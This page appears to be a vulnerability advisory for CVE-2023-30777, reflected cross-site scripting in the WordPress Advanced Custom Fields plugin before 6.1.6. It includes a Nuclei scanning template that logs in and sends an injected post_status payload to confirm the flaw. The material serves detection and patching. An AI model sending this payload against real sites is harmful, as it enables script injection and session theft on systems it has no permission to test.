Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2023-30777
info:
name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 6.1.6.
reference:
- https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f
- https://wordpress.org/plugins/advanced-custom-fields/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-30777
- https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
- https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-30777
cwe-id: CWE-79
epss-score: 0.88681
epss-percentile: 0.99489
cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: advancedcustomfields
product: advanced_custom_fields
framework: wordpress
tags: cve2023,cve,wpscan,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss,advancedcustomfields
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "onanimationstart=alert(document.domain)//")'
- 'contains(body_2, "Advanced Custom Fields")'
condition: and
# digest: 490a00463044022074379dcc0f9b5c70c908b4e64c92aa9526f221731004a097cd67d0679d86171b02207e0f1cda8a07620338c321c1b4893f2211a72d9f3550d9f35e5cfd39692c3137:922c64590222798bb761d5b6d8e72950